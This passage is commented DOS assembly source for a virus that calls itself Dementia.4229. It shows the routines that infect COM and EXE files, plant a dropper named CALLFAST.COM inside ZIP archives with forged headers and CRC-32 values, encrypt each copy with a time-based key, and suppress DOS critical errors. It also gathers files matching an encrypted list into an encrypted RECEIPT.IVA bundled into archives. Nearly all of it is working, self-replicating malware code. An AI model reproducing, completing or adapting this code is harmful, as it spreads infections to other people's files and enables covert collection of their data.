     mov     [bp-14h],ax	 ; Store file handle of CALLFAST.COM

     mov     bx,[bp-14h]	 ; BX = file handle of CALLFAST.COM

     mov     cx,(file_end-file_begin)

     nop

     lea     dx,file_begin	 ; DX = offset of file_begin

     nop

     call    write_file_

     call    close_file

     mov     ax,01h	 ; Don't test filesize

     mov     [tst_filesize],ax	 ; Store don't test filesize

     lea     dx,callfast_com	 ; DX = offset of callfast_com

     nop

     call    inf_com_exe

     xor     ax,ax	 ; Test filesize

     mov     [tst_filesize],ax	 ; Store test filesize

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     push    cs 	 ; Save CS at stack

     pop     es 	 ; Load ES from stack (CS)

     lea     si,callfast_com	 ; SI = offset of callfast_com

     nop

     lea     di,filename	 ; DI = offset of filename

     nop

     mov     cx,0dh	 ; Move thirteen bytes

     rep     movsb	 ; Move CALLFAST.COM to filename

open_filenam:

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     lea     dx,filename	 ; DX = offset of filename

     nop

     call    open_file

     call    set_pos_eof

     mov     [bp-1ch],ax	 ; Store low-order word of filesize

     mov     [bp-1ah],dx	 ; Store high-order word of filesize

     call    calc_crc32

     mov     [bp-20h],ax	 ; Store low-order word of CRC-32 c...

     mov     [bp-1eh],dx	 ; Store high-order word of CRC-32 ...

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     mov     cx,[bp-16h]	 ; CX = high-order word of offset o...

     mov     dx,[bp-18h]	 ; DX = low-order word of offset of...

     call    set_pos_sof_

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h

     mov     ds,ax	 ; DS = segment of data buffer

     mov     ax,'KP'             ; AX = low-order word of local hea...

     mov     ds:[00h],ax	 ; Store low-order word of local he...

     mov     ax,403h	 ; AX = high-order word of local hea...

     mov     ds:[02h],ax	 ; Store high-order word of local he...

     mov     ax,0ah	 ; AX = version needed to extract (v...

     mov     ds:[04h],ax	 ; Store version needed to extract (...

     xor     ax,ax	 ; AX = general purpose bit flag and...

     mov     ds:[06h],ax	 ; Store general purpose bit flag

     mov     ds:[08h],ax	 ; Store compression method (the fil...

     mov     ax,3021h	 ; AX = last modified file time

     mov     ds:[0ah],ax	 ; Store last modified file time

     mov     ax,1ae1h	 ; AX = last modified file date

     mov     ds:[0ch],ax	 ; Store last modified file date

     mov     ax,[bp-20h]	 ; AX = low-order word of CRC-32 ch...

     mov     ds:[0eh],ax	 ; Store low-order word of CRC-32 c...

     mov     ax,[bp-1eh]	 ; AX = high-order word of CRC-32 c...

     mov     ds:[10h],ax	 ; Store high-order word of CRC-32 ...

     mov     ax,[bp-1ch]	 ; AX = low-order word of filesize

     mov     ds:[12h],ax	 ; Store low-order word of compress...

     mov     ds:[16h],ax	 ; Store low-order word of uncompre...

     mov     ax,[bp-1ah]	 ; AX = high-order word of filesize

     mov     ds:[14h],ax	 ; Store high-order word of compres...

     mov     ds:[18h],ax	 ; Store high-order word of uncompr...

     mov     ax,0ch	 ; AX = filename length (12 bytes)

     mov     ds:[1ah],ax	 ; Store filename length (12 bytes)

     xor     ax,ax	 ; AX = extra field length (0 bytes)

     mov     ds:[1ch],ax	 ; Store extra field length (0 bytes)

     mov     cx,1eh	 ; Write thirty bytes

     call    write_file

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     lea     dx,filename	 ; DX = offset of filename

     nop

     mov     cx,0ch	 ; Write twelve bytes

     nop

     call    write_file_

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h

     mov     ds,ax	 ; DS = segment of data buffer

     mov     bx,[bp-14h]	 ; BX = file handle of CALLFAST.COM

     call    set_pos_sof

copy_callfas:

     mov     bx,[bp-14h]	 ; BX = file handle of CALLFAST.COM

     mov     cx,400h	 ; Read one thousand and twenty-fou...

     call    read_file

     cmp     ax,00h	 ; Read all of the file?

     je      copy_cds_	 ; Equal? Jump to copy_cds_

     mov     cx,ax	 ; CX = number of bytes actually read

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     call    write_file

     jmp     copy_callfas

copy_cds_:

     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!

     call    set_pos_sof

cpy_cds_loop:

     mov     ax,[bp-0ch]	 ; AX = number of central directory...

     cmp     ax,00h	 ; No central directory file header?

     je      wrt_last_cds	 ; Equal? Jump to write_last_cds

     dec     ax 	 ; Decrease number of central direc...

     mov     [bp-0ch],ax	 ; Store number of central director...

     mov     ax,'KP'             ; AX = low-order word of central d...

     mov     ds:[00h],ax	 ; Store low-order word of central ...

     mov     ax,201h	 ; AX = high-order word of central ...

     mov     ds:[02h],ax	 ; Store high-order word of central...

     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!

     mov     cx,2ah	 ; Read forty-two bytes

     mov     dx,04h	 ; DX = offset of central directory...

     call    read_file_

     mov     cx,ds:[1ch]	 ; CX = filename length

     mov     dx,ds:[1eh]	 ; DX = extra field length

     add     cx,dx	 ; Add extra field length to filena...

     mov     dx,ds:[20h]	 ; DX = file comment length

     add     cx,dx	 ; CX = number of bytes to read

     push    cx 	 ; Save CX at stack

     mov     dx,2eh	 ; DX = offset of central directory...

     call    read_file_

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     pop     cx 	 ; Load CX from stack

     add     cx,2eh	 ; Add size of central directory fi...

     call    write_file

     jmp     cpy_cds_loop

wrt_last_cds:

     mov     ax,0ah	 ; AX = version made by (version 1....

     mov     ds:[04h],ax	 ; Store version made by (version 1...

     mov     ds:[06h],ax	 ; Store version needed to extract (...

     xor     ax,ax	 ; AX = general purpose bit flag and...

     mov     ds:[08h],ax	 ; Store general purpose bit flag

     mov     ds:[0ah],ax	 ; Store compression method (the fil...

     mov     ax,3021h	 ; AX = last modified file time

     mov     ds:[0ch],ax	 ; Store last modified file time

     mov     ax,1ae1h	 ; AX = last modified file date

     mov     ds:[0eh],ax	 ; Store last modified file date

     mov     ax,[bp-20h]	 ; AX = low-order word of CRC-32 ch...

     mov     ds:[10h],ax	 ; Store low-order word of CRC-32 c...

     mov     ax,[bp-1eh]	 ; AX = high-order word of CRC-32 c...

     mov     ds:[12h],ax	 ; Store high-order word of CRC-32 ...

     mov     ax,[bp-1ch]	 ; AX = low-order word of filesize

     mov     ds:[14h],ax	 ; Store low-order word of compress...

     mov     ds:[18h],ax	 ; Store low-order word of uncompre...

     mov     ax,[bp-1ah]	 ; AX = high-order word of filesize

     mov     ds:[16h],ax	 ; Store high-order word of compres...

     mov     ds:[1ah],ax	 ; Store high-order word of compres...

     mov     ax,0ch	 ; AX = filename length (12 bytes)

     mov     ds:[1ch],ax	 ; Store filename length (12 bytes)

     xor     ax,ax	 ; AX = extra field length, file co...

     mov     ds:[1eh],ax	 ; Store extra field length (0 bytes)

     mov     ds:[20h],ax	 ; Store file comment length (0 bytes)

     mov     ds:[22h],ax	 ; Store disk number start (0 bytes)

     mov     ds:[24h],ax	 ; Store internal file attributes

     mov     ds:[26h],ax	 ; Store low-order word of external...

     mov     ds:[28h],ax	 ; Store high-order word of externa...

     mov     ax,[bp-18h]	 ; AX = low-order word of offset of...

     mov     ds:[2ah],ax	 ; Store low-order word of relative...

     mov     ax,[bp-16h]	 ; AX = high-order word of offset o...

     mov     ds:[2ch],ax	 ; Store high-order word of relativ...

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     mov     cx,2eh	 ; Write forty-six bytes

     call    write_file

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     lea     dx,filename	 ; DX = offset of filename

     nop

     mov     cx,0ch	 ; Write twelve bytes

     nop

     call    write_file_

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h

     mov     ds,ax	 ; DS = segment of data buffer

     mov     ax,'KP'             ; AX = low-order word of end of ce...

     mov     ds:[00h],ax	 ; Store low-order word of end of c...

     mov     ax,605h	 ; AX = high-order word of end of c...

     mov     ds:[02h],ax	 ; Store high-order word of end of ...

     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!

     mov     cx,12h	 ; Read eightteen bytes

     mov     dx,04h	 ; DX = offset of end of central di...

     call    read_file_

     mov     cx,ds:[14h]	 ; CX = zipfile comment length

     push    cx 	 ; Save CX at stack

     mov     dx,16h	 ; DX = offset of zipfile comment

     call    read_file_

     mov     ax,ds:[08h]	 ; AX = total number of entries in ...

     inc     ax 	 ; Increase total number of entries...

     mov     ds:[08h],ax	 ; Store total number of entries in...

     mov     ax,ds:[0ah]	 ; AX = total number of entries in ...

     inc     ax 	 ; Increase total number of entries...

     mov     ds:[0ah],ax	 ; Store total number of entries in...

     mov     ax,ds:[0ch]	 ; AX = low-order word of size of t...

     mov     dx,ds:[0eh]	 ; DX = high-order word of size of ...

     add     ax,3ah	 ; Add size of central directory fi...

     nop

     adc     dx,00h	 ; Convert to 32-bit

     mov     ds:[0ch],ax	 ; Store low-order word of size of ...

     mov     ds:[0eh],dx	 ; Store high-order word of size of...

     mov     ax,ds:[10h]	 ; AX = low-order word of offset of...

     mov     dx,ds:[12h]	 ; DX = high-order word of offset o...

     add     ax,2ah	 ; Add size of local file header to...

     nop

     adc     dx,00h	 ; Convert to 32-bit

     mov     bx,[bp-1ah]	 ; BX = high-order word of filesize

     add     dx,bx	 ; Add high-order word of filesize ...

     mov     bx,[bp-1ch]	 ; BX = low-order word of filesize

     add     ax,bx	 ; Add low-order word of filesize t...

     adc     dx,00h	 ; Convert to 32-bit

     mov     ds:[10h],ax	 ; Store low-order word of offset o...

     mov     ds:[12h],dx	 ; Store high-order word of offset ...

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     pop     cx 	 ; Load CX from stack

     add     cx,16h	 ; Add size of end of central direc...

     call    write_file

     mov     bx,[bp-14h]	 ; BX = file handle of CALLFAST.COM

     call    close_file

     lea     dx,filename	 ; DX = offset of filename

     nop

     call    delete_file

     jmp     call_mark_

test_receipt:

     mov     ax,[bp-12h]	 ; AX = found RECEIPT.IVA

     or      ax,ax	 ; Didn't found RECEIPT.IVA

     jz      exam_extra 	 ; Zero? Jump to exam_extra

     jmp     call_mark_

exam_extra:

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     mov     cx,[bp-22h]	 ; CX = high-order word of extra field

     mov     dx,[bp-24h]	 ; DX = low-order word of extra field

     call    set_pos_sof_

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h

     mov     ds,ax	 ; DS = segment of data buffer

     mov     es,ax	 ; ES = segment of data buffer

     mov     cx,400h	 ; Read one thousand and twenty-fou...

     call    read_file

     cld	 ; Clear direction flag

     xor     si,si	 ; Zero SI

     xor     di,di	 ; Zero DI

     lodsw	 ; AX = word of extra field

     cmp     ax,1492h	 ; Found infection mark?

     je      comp_extra 	 ; Equal? Jump to comp_extra

     jmp     call_mark_

comp_extra:

     lodsw	 ; AX = word of extra field

     cmp     ax,1776h	 ; Found infection mark?

     je      load_extra 	 ; Equal? Jump to load_extra

     jmp     call_mark_

load_extra:

     lodsw	 ; AX = 16-bit decryption key

     mov     dx,ax	 ; DX =   "        "       "

     lodsb	 ; AL = number of file specifications

     xor     cx,cx	 ; Zero CX

     mov     cl,al	 ; CL = number of filespecification

     push    ax 	 ; Save AX at stack

decrypt_next:

     push    cx 	 ; Save CX at stack

     mov     cx,07h	 ; Decryption fourteen bytes

decrypt_spec:

     lodsw	 ; AX = word of encrypted file spec...

     xor     ax,dx	 ; Decrypt word of file specification

     stosw	 ; Store word of file specification

     loop    decrypt_spec

     pop     cx 	 ; Load CX from stack

     loop    decrypt_next

     mov     ax,ds	 ; AX = segment of data buffer

     add     ax,40h	 ; AX = segment of pathname

     mov     es,ax	 ; ES =    "    "     "

     push    ds 	 ; Save DS at stack

     push    es 	 ; Save ES at stack

     pop     ds 	 ; Load DS from stack (ES)

     mov     ah,47h	 ; Get current directory

     xor     dl,dl	 ; Default drive

     xor     si,si	 ; Zero SI

     int     21h

     pop     ds 	 ; Load DS from stack

     mov     ax,es	 ; AX = segment of pathname

     add     ax,04h	 ; AX = segment of end of pathname

     mov     es,ax	 ; ES =    "    "   "  "     "

     xor     di,di	 ; Zero DI

     mov     al,'\'              ; AL = backslash

     stosb	 ; Store backslash

     xor     al,al	 ; AL = zero

     stosb	 ; Store zero

     push    es 	 ; Save ES at stack

     mov     ah,2fh	 ; Get disk transfer area address

     int     21h

     mov     [bp-26h],es	 ; Store segment of disk transfer a...

     mov     [bp-28h],bx	 ; Store offset of disk transfer ar...

     pop     es 	 ; Load ES from stack

     push    ds 	 ; Save DS at stack

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h+48h

     mov     ds,ax	 ; DS = segment of disk transfer area

     xor     dx,dx	 ; Zero DX

     mov     ah,1ah	 ; Set disk transfer area address

     int     21h

     lea     dx,receipt_iva	 ; DX = offset of receipt_iva

     nop

     call    create_file

     mov     bx,ax	 ; BX = file handle of RECEIPT.IVA

     mov     [bp-14h],ax	 ; Store file handle of RECEIPT.IVA

     pop     ds 	 ; Load DS from stack

     pop     ax 	 ; Load AX from stack

     mov     dx,01h	 ; Don't store backslash

     call    create_recei

     mov     bx,[bp-14h]	 ; BX = file handle of RECEIPT.IVA

     call    set_pos_sof

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h+48h

     mov     ds,ax	 ; DS = segment of disk transfer area

     mov     es,ax	 ; ES =    "    "   "      "      "

encrypt_rece:

     mov     cx,400h	 ; Read one thousand and twenty-fou...

     call    read_file

     cmp     ax,00h	 ; Read all of the file?

     je      set_dta_addr	 ; Equal? Jump to set_dta_addr

     push    ax 	 ; Save AX at stack

     xor     dx,dx	 ; Zero DX

     sub     dx,ax	 ; DX = -number of bytes actually read

     mov     cx,-01h

     call    set_pos_cfp

     pop     ax 	 ; Load AX from stack

     push    ax 	 ; Save AX at stack

     mov     cx,ax	 ; CX = number of bytes actually read

     xor     si,si	 ; Zero SI

     xor     di,di	 ; Zero DI

encrypt_ipt_:

     lodsb	 ; AL = byte of RECEIPT.IVA

     xor     al,0ffh	 ; Encrypt byte of RECEIPT.IVA

     stosb	 ; Store encrypted byte of RECEIPT.IVA

     loop    encrypt_ipt_

     pop     ax 	 ; Load AX from stack

     mov     cx,ax	 ; CX = number of bytes actually read

     call    write_file

     jmp     encrypt_rece

set_dta_addr:

     call    close_file

     mov     ds,[bp-26h]	 ; DS = segment of disk transfer area

     mov     dx,[bp-28h]	 ; DX = offset of disk transfer area

     mov     ah,1ah	 ; Set disk transfer area address

     int     21h

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h+40h

     mov     ds,ax	 ; DS = segment of data buffer

     xor     dx,dx	 ; Zero DX

     mov     ah,3bh	 ; Set current directory

     int     21h

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     push    cs 	 ; Save CS at stack

     pop     es 	 ; Load ES from stack (CS)

     lea     si,receipt_iva	 ; SI = offset of receipt_iva

     nop

     lea     di,filename	 ; DI = offset of filename

     nop

     mov     cx,0dh	 ; Move thirteen bytes

     rep     movsb	 ; Move RECEIPT.IVA to filename

     jmp     open_filenam

call_mark_:

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     call    infect_mark

     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file

     call    close_file

     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!

     call    close_file

     lea     dx,temp_file	 ; DX = offset of temp_file

     nop

     call    delete_file

inf_zip_exit:

     call    int24_load

     pop     es ds di si dx cx bx ax

     mov     sp,bp	 ; SP = stack pointer

     pop     bp 	 ; Load BP from stack

     ret	 ; Return!

     endp

infect_com   proc    near	 ; Infect COM file

     push    bp 	 ; Save BP at stack

     mov     bp,sp	 ; BP = stack pointer

     sub     sp,04h	 ; Correct stack pointer

     mov     ah,00h	 ; COM executable

     nop

     nop

     mov     cs:[com_or_exe],ah  ; Store COM executable

     mov     ax,ds:[00h]	 ; AX = word of original code of CO...

     mov     word ptr cs:[origin_code],ax

     mov     al,ds:[02h]	 ; AL = byte of original code of CO...

     mov     cs:[origin_code+02h],al

     call    encrypt_copy

     call    set_pos_eof

     mov     [bp-04h],ax	 ; Store low-order word of filesize

     mov     [bp-02h],dx	 ; Store high-order word of filesize

     push    ax 	 ; Save AX at stack

     mov     ax,cs:[tst_filesize]

     cmp     ax,01h	 ; Don't test filesize?

     pop     ax 	 ; Load AX from stack

     je      calc_buf_seg	 ; Equal? Jump to calc_buf_seg

     cmp     dx,00h	 ; Filesize too large?

     jne     inf_com_exit	 ; Not equal? Jump to inf_com_exit

     cmp     ax,1000h	 ; Filesize too small?

     jb      inf_com_exit	 ; Below? Jump to inf_com_exit

calc_buf_seg:

     add     ax,(code_end-code_begin)

     jb      inf_com_exit	 ; Filesize too large? Jump to inf_...

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h

     mov     ds,ax	 ; DS = segment of data buffer

     mov     cx,10h	 ; CX = number of bytes to add to f...

     mov     ax,[bp-04h]	 ; AX = filesize

     and     ax,0000000000001111b

     sub     cx,ax	 ; CX = number of bytes to add to f...

     mov     ax,[bp-04h]	 ; AX = filesize

     add     ax,cx	 ; AX = offset of virus within file

     mov     [bp-04h],ax	 ; Store offset of virus within file

     call    write_file_

     mov     cx,(code_end-code_begin)

     call    write_file

     mov     al,0e9h	 ; JMP imm16 (opcode 0e9h)

     mov     ds:[00h],al	 ; Store JMP imm16

     mov     ax,[bp-04h]	 ; AX = filesize

     sub     ax,03h	 ; Subtract size of opcode JMP imm16

     mov     ds:[01h],ax	 ; Store 16-bit immediate

     call    set_pos_sof

     mov     cx,03h	 ; Write three bytes

     call    write_file

inf_com_exit:

     mov     sp,bp	 ; SP = stack pointer

     pop     bp 	 ; Load BP from stack

     ret	 ; Return!

     endp

infect_exe   proc    near	 ; Infect EXE file

     push    bp 	 ; Save BP at stack

     mov     bp,sp	 ; BP = stack pointer

     sub     sp,04h	 ; Correct stack pointer

     mov     ah,01h	 ; EXE executable

     nop

     nop

     mov     cs:[com_or_exe],ah  ; Store EXE executable

     call    set_pos_eof

     mov     [bp-04h],ax	 ; Store low-order word of filesize

     mov     [bp-02h],dx	 ; Store high-order word of filesize

     and     ax,0000000000001111b

     mov     cx,10h	 ; CX = number of bytes to add to f...

     sub     cx,ax	 ; CX =   "    "    "   "   "  "   "

     mov     ax,[bp-04h]	 ; AX = low-order word of filesize

     mov     dx,[bp-02h]	 ; DX = high-order word of filesize

     add     ax,cx	 ; Add number of bytes to add to fi...

     adc     dx,00h	 ; Convert to 32-bit

     mov     [bp-04h],ax	 ; Store low-order word of pointer ...

     mov     [bp-02h],dx	 ; Store high-order word of pointer...

     call    write_file_

     push    bx 	 ; Save BX at stack

     mov     ax,[bp-04h]	 ; AX = low-order word of pointer t...

     mov     dx,[bp-02h]	 ; DX = high-order word of pointer ...

     mov     bx,ds:[08h]	 ; BX = header size in paragraphs

     mov     cl,0ch	 ; Divide by four thousand and nine...

     shr     bx,cl	 ; BX = header size in sixty-five t...

     sub     dx,bx	 ; Subtract header size in sixty fi...

     mov     bx,ds:[08h]	 ; BX = header size in paragraphs

     mov     cl,04h	 ; Multiply by paragraphs

     shl     bx,cl	 ; BX = header size

     sub     ax,bx	 ; Subtract header size from filesize

     sbb     dx,00h	 ; Convert to 32-bit

     mov     [bp-04h],ax	 ; Store low-order word of pointer ...

     mov     [bp-02h],dx	 ; Store high-order word of pointer...

     pop     bx 	 ; Load BX from stack

     mov     ax,ds:[14h]	 ; AX = original instruction pointer

     mov     cs:[instruct_ptr],ax

     mov     ax,ds:[16h]	 ; AX = original code segment

     mov     cs:[code_seg],ax	 ; Store original code segment

     xor     ax,ax	 ; Zero AX

     mov     ds:[14h],ax	 ; Store initial IP

     mov     cs:[initial_ip],ax  ; Store   "     "

     mov     ax,[bp-02h]	 ; AX = high-order word of pointer ...

     test    ax,1111111111110000b

     jz      calc_ins_ptr	 ; Zero? Jump to calc_ins_ptr

     jmp     inf_exe_exit

calc_ins_ptr:

     mov     cl,0ch

     shl     ax,cl	 ; Multiply by sixty-five thousand ...

     mov     dx,[bp-04h]	 ; DX = low-order word of pointer t...

     mov     cl,04h	 ; Divide by paragraphs

     shr     dx,cl	 ; DX = low-order word of pointer t...

     add     ax,dx	 ; AX = initial CS relative to star...

     mov     ds:[16h],ax	 ; Store initial CS relative to sta...

     mov     cs:[initial_cs],ax  ;   "      "    "     "     "    "

     push    ax 	 ; Save AX at stack

     mov     ax,ds:[0eh]	 ; AX = initial SS relative to star...

     mov     cs:[stack_seg],ax	 ; Store initial SS relative to sta...

     mov     ax,ds:[10h]	 ; AX = initial SP

     mov     cs:[stack_ptr],ax	 ; Store initial SP

     pop     ax 	 ; Load AX from stack

     add     ax,(code_end-code_begin+0fh)/10h

     jae     store_stack	 ; Above or equal? Jump to store_stack

     jmp     short inf_exe_exit

     nop

     nop

store_stack:

     mov     ds:[0eh],ax	 ; Store initial SS relative to sta...

     mov     ax,100h	 ; AX = initial SP

     mov     ds:[10h],ax	 ; Store initial SP

     push    bx 	 ; Save BX at stack

     mov     ax,[bp-04h]	 ; AX = low-order word of pointer t...

     mov     dx,[bp-02h]	 ; DX = high-order word of pointer ...

     mov     bx,ds:[08h]	 ; BX = header size in paragraphs

     mov     cl,0ch	 ; Divide by four thousand and nine...

     shr     bx,cl	 ; BX = header size in sixty-five t...

     add     dx,bx	 ; Add header size in sixty-five th...

     mov     bx,ds:[08h]	 ; BX = header size in paragraphs

     mov     cl,04h	 ; Multiply by paragraphs

     shl     bx,cl	 ; BX = header size

     add     ax,bx	 ; Add header size to filesize

     adc     dx,00h	 ; Convert to 32-bit

     mov     [bp-04h],ax	 ; Store low-order word of pointer ...

     mov     [bp-02h],dx	 ; Store high-order word of pointer...

     pop     bx 	 ; Load BX from stack

     mov     ax,[bp-04h]	 ; AX = low-order word of pointer t...

     mov     dx,[bp-02h]	 ; DX = high-order word of pointer ...

     add     ax,(code_end-code_begin)

     adc     dx,00h	 ; Convet to 32-bit

     mov     cl,07h

     shl     dx,cl	 ; Multiply by one hundred and twen...

     push    ax 	 ; Save AX at stack

     mov     cl,09h	 ; Divide by pages

     shr     ax,cl	 ; AX = low-order word of pointer t...

     add     dx,ax	 ; DX = number of bytes on last 512...

     pop     ax 	 ; Load AX from stack

     and     ax,0000000000011111b

     jz      store_pages	 ; Zero? Jump to store_pages

     inc     dx 	 ; Increase number of bytes on last...

     jmp     store_pages_

     nop

     nop

store_pages:

     mov     ax,200h	 ; AX = total number of 512-bytes p...

store_pages_:

     mov     ds:[02h],ax	 ; Store total number of 512-bytes ...

     mov     ds:[04h],dx	 ; Store number of bytes on last 51...

     mov     ax,ds:[0ch]	 ; AX = maximum paragraphs to alloc...

     cmp     ax,10h	 ; Maximum paragraphs to allocate ...?

     jae     store_maximu	 ; Above or equal? Jump to store_ma...

     mov     ax,10h	 ; AX = new maximum paragraphs to a...

store_maximu:

     mov     ds:[0ch],ax	 ; Store maximum paragraphs to allo...

     call    set_pos_sof

     mov     cx,20h	 ; Write thirty-two bytes

     call    write_file

     call    set_pos_eof

     call    encrypt_copy

     mov     cx,(code_end-code_begin)

     call    write_file

inf_exe_exit:

     mov     sp,bp	 ; SP = stack pointer

     pop     bp 	 ; Load BP from stack

     ret	 ; Return!

     endp

encrypt_copy proc    near	 ; Move virus to data buffer and en...

     push    bx 	 ; Save BX at stack

     mov     ah,2ch	 ; Get system time

     int     21h

     mov     bx,cx	 ; BX = hour and minute

     xor     bx,dx	 ; BX = 16-bit random number

     mov     ah,2ah	 ; Get system date

     int     21h

     xor     bx,cx	 ; BX = 16-bit random number

     xor     bx,dx	 ; BX = decryption key

     mov     dx,bx	 ; DX =     "       "

     mov     cs:[decrypt_key],dx ; Store decryption key

     pop     bx 	 ; Load BX from stack

     cld	 ; Clear direction flag

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h

     mov     es,ax	 ; ES = segment of data buffer

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     xor     si,si	 ; Zero SI

     xor     di,di	 ; Zero DI

     mov     cx,(code_end-code_begin)

     rep     movsb	 ; Move virus to data buffer

     push    es 	 ; Save ES at stack

     pop     ds 	 ; Load DS from stack (ES)

     lea     si,crypt_begin-02h  ; SI = offset of crypt_end

     mov     di,si	 ; DI =   "    "      "

     mov     cx,(crypt_begin-crypt_end-02h)/02h

     std	 ; Set direction flag

encrypt_loop:

     lodsw	 ; AX = word of plain code

     xor     ax,dx	 ; Encrypt word

     stosw	 ; Store encrypted word

     loop    encrypt_loop

     cld	 ; Clear direction flag

     ret	 ; Return!

     endp

int24_store  proc    near	 ; Get and set interrupt vector 24h

     push    bx dx ds es	 ; Save registers at stack

     mov     ax,3524h	 ; Get interrupt vector 24h

     int     21h

     mov     word ptr cs:[int24_addr],bx

     mov     word ptr cs:[int24_addr+02h],es

     push    cs 	 ; Save CS at stack

     pop     ds 	 ; Load DS from stack (CS)

     lea     dx,int24_virus+110h ; DX = offset of int24_virus + 110h

     mov     ax,2524h	 ; Set interrupt vector 24h

     int     21h

     pop     es ds dx bx	 ; Load registers from stack

     ret	 ; Return!

     endp

int24_load   proc    near	 ; Set interrupt vector 24h

     push    dx ds	 ; Load registers from stack

     mov     dx,word ptr cs:[int24_addr]

     mov     ds,word ptr cs:[int24_addr+02h]

     mov     ax,2524h	 ; Set interrupt vector 24h

     int     21h

     pop     ds dx	 ; Load registers from stack

     ret	 ; Return!

     endp

int24_virus  proc    near	 ; Interrupt 24h of Dementia.4229

     mov     al,03h	 ; Fail system call in progress

     iret	 ; Interrupt return!

     endp

calc_crc32   proc    near	 ; Calculate CRC-32 checksum

     mov     ax,cs	 ; AX = code segment

     add     ax,(code_end-code_begin+0fh)/10h

     mov     ds,ax	 ; DS = segment of data buffer

     add     ax,40h	 ; AX = segment of CRC-32 table

     mov     es,ax	 ; ES =    "    "    "      "

     xor     di,di	 ; Zero DI

     xor     cx,cx	 ; Zero CX

gen_crc_tab:

     xor     dx,dx	 ; Zero DX

     xor     ax,ax	 ; Zero AX

     mov     al,cl	 ; AL = counter

     push    cx 	 ; Save CX at stack

     mov     cx,08h	 ; Calculate each CRC-32 table entr...

gen_crc_loop:

     clc	 ; Clear carry flag

     rcr     dx,01h	 ; Rotate DX through carry one bit ...

     rcr     ax,01h	 ; Rotate AX through carry one bit ...

     jnc     carry_loop 	 ; No carry? Jump to carry_loop

     xor     dx,0edb8h	 ; DX = high-order word of CRC-32 t...

     xor     ax,8320h	 ; AX = low-order word of CRC-32 ta...

carry_loop:

     loop    gen_crc_loop

     mov     es:[di],ax 	 ; Store low-order word of CRC-32 t...

     mov     es:[di+02h],dx	 ; Store high-order word of CRC-32 ...

     add     di,04h	 ; DI = offset of next CRC-32 table...

     pop     cx 	 ; Load CX from stack

     inc     cx 	 ; Increase count register

     cmp     cx,100h	 ; Generated enough CRC-32 table en...

     jne     gen_crc_tab	 ; Not equal? Jump to gen_crc_tab

     call    set_pos_sof

     mov     dx,0ffffh	 ; DX = high-order word of CRC-32 c...

     mov     ax,0ffffh	 ; AX = low-order word of CRC-32 ch...

read_block:

     push    ax dx	 ; Save registers at stack

     mov     cx,400h	 ; Read one thousand and twenty-fou...

     call    read_file

     cmp     ax,00h	 ; Read all of the file?

     je      calc_crc_xit	 ; Equal? Jump to calc_crc_xit

     mov     cx,ax	 ; CX = number of bytes actually read

     pop     dx ax	 ; Load registers from stack

     xor     si,si	 ; Zero SI

cal_crc_loop:

     push    bx cx	 ; Save registers at stack

     xor     bh,bh	 ; Zero BH

     mov     bl,[si]	 ; BL = byte of file

     inc     si 	 ; Increase index register

     xor     bl,al	 ; Exclusive OR (XOR) byte of file ...

     mov     cl,02h

     shl     bx,cl	 ; Multiply by four

     mov     di,bx	 ; DI = offset of next CRC-32 table...

     mov     al,ah	 ; AL = low-order byte of low-order...

     mov     ah,dl	 ; AH = high-order byte of low-orde...

     mov     dl,dh	 ; DL = low-order byte of high-orde...

     xor     dh,dh	 ; Zero DH

     mov     bx,es:[di] 	 ; BX = low-order word of CRC-32 ta...

     xor     ax,bx	 ; AX = low-order word of CRC-32 ch...

     mov     bx,es:[di+02h]	 ; BX = high-order word of CRC-32 t...

     xor     dx,bx	 ; DX = high-order word of CRC-32 c...

     pop     cx bx	 ; Load registers from stack

     loop    cal_crc_loop

     jmp     read_block

calc_crc_xit:

     pop     dx ax	 ; Load registers from stack

     xor     dx,0ffffh	 ; DX = high-order word of CRC-32 c...

     xor     ax,0ffffh	 ; AX = low-order word of CRC-32 ch...

     ret	 ; Return!

     endp

create_recei proc    near	 ; Create RECEIPT.IVA file

     push    bp 	 ; Save BP at stack

     mov     bp,sp	 ; BP = stack pointer

     sub     sp,12h	 ; Correct stack pointer

     mov     [bp-08h],ax	 ; Store number of file specifications

     mov     [bp-10h],bx	 ; Store file handle of RECEIPT.IVA

     mov     [bp-02h],dx	 ; Store store or don't store backs...

     mov     [bp-06h],ds	 ; Store segment of file specificat...

     mov     ah,3bh	 ; Set current directory

     push    es 	 ; Save ES at stack

     pop     ds 	 ; Load DS from stack (ES)

     xor     dx,dx	 ; Zero DX

     int     21h

     mov     ax,[bp-08h]	 ; AX = number of file specifications

     xor     cx,cx	 ; Zero CX

     mov     cl,al	 ; CL = number of file specifications

     xor     dx,dx	 ; Zero DX

find_first_:

     mov     ds,[bp-06h]	 ; DS = segment of file specification

     push    cx 	 ; Save CX at stack

     mov     cx,0000000000000111b

     call    find_first

